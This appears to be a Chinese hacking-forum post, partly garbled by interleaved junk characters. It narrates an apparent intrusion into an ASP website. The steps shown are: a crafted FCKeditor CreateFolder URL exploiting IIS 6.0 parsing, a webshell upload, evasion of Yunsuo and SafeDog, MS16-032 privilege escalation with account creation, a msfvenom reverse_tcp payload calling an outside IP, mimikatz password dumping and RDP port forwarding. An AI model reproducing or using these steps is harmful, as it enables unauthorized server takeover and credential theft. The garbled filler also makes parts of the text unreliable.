|
; `$ f) b/ U' W7 [! r8 x 8 s$ M2 x% j' I/ U& S) B1 @" E
6 [9 p, d) A* |3 e- @2 U2 g* Y
- W! j1 z5 d H9 x, T8 s/ h |
& j) M/ Q- n& _/ P. T5 t3 }- e
* M; c) o6 @" T) V
0 h- W8 P2 V/ g& K% I! ^- Q一、 利用getwebshell篇
* b3 _ }; c% r, M* h6 s
( U" n* b. r% \, n; b: x6 N首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
/ l% x+ E a& n
# M3 A/ E. N- ]5 y
' Y, H" D2 ?* I6 h
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
) D. W2 T9 ~- ~3 p5 Y
u1 H3 L; V/ {) v
下面我们构造一个asp目录，如：
) \( @, r) `: s r+ [1 o ) \/ W4 U' d# S3 f5 Z) r$ P! O
) M# L* Z: J7 V" j+ F( s http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
# C" K s2 a7 e- V' J
3 Q% Q* g# @0 Q; b4 K8 E! h ( K2 Z1 j) L2 k. ?) L& k W2 y4 I
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
" c" W3 e8 |1 x
4 x( }5 X, n& n/ ^& X/ |一、 绕过安全狗云锁提权并且加账号
: ]% p- Z8 ^* R) H l+ h I; m7 ^- c
! W7 Y4 F1 ~; R; u, F- n% z
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
, @9 v/ b2 q K0 s9 x2 u
+ l4 }3 H4 Z/ k
如图：
1 G) X, [* ^3 ]2 ?
) s P9 X, ~/ k9 @- x [
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
- n9 J) L+ {6 g: C- Q
2 R7 _7 s0 ?- U/ W& Y/ P
一、 利用metasploit
* t' W4 f0 \2 s% x6 V) H3 r2 B) X
, u. r5 _- R* ^. t' \7 z2 D
首先用pentestbox生成一个64位的payload如下命令
0 q4 U5 D k9 @
9 D4 R5 F0 I7 _
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
9 F o3 v9 C: F4 {9 P
' n5 a, o6 Z& N6 ~% l( N, T- V% Z! l
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
2 t3 a+ A! B# Z& ]1 ?! P* M; H4 Z
: W8 W3 t" T9 P. e
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
- z5 L1 K1 e; y- i$ b f
7 [) y! ]$ [6 _# z1 M下面我们来做一个监听如下命令：
( R# w( A! M1 ~! X
, J4 w/ T- G7 E: A4 P
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
# z# \+ @! M& t; G$ {+ U
5 x6 \; ?; P$ p: j( g- f* [ - a$ Y$ W( W1 u
| 8 |& {6 ?- ~% x: z# l
( F2 o8 R9 _9 ^
$ X5 } n! L& D9 j. K; [+ c
( f* m; _$ g4 E, [8 g
' K# a) o5 Z m! w: P6 w
+ D2 Z+ i) Z- z6 T j$ ]3 W
# W2 v# S( V) G
7 I* Y/ G* r6 B7 K! {3 h4 m
' J' g! j+ s' O
, d; p8 d7 r' f
1 p) z& T ]# _2 f
( _& e: [$ j" X5 `4 M& v
/ ?& I( @4 T9 I* a( R
2 t* N8 j Q! ~/ O: Q | 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06